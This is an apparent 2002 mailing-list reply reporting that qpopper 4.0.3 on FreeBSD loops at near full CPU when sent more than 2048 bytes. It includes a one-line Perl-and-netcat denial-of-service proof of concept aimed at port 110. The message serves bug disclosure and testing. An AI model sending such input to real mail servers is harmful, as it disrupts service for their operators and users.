On Tue, 19 Mar 2002 23:19:01 -0600, Randall Gellens wrote: >The cause isn't as simple as that, sorry (which I realized as soon as >I sent the message). It doesn't loop for me on some systems (such as >OpenBSD 2.9) with inputs that aren't an even multiple of 2048. It >also doesn't loop for me at all (with any size input) on some systems >(such as Darwin/MacOS X).
on a FreeBSD 4.4-stable with qpopper 4.0.3 it loops forever (near 100% CPU) but does not eat memory, according to "top" I used this simple exploit: perl -e '{print "A"x"2049"}' | nc my.pop3.host 110 (nc is netcat) bye! Alessandro de Manzano Senior System & Network Administrator Playstos - TIMA SpA Corso Sempione 63 20149 Milano Italy tel.: +39-02-3314153 fax: +39-02-315678 mail: [EMAIL PROTECTED] http://www.playstos.com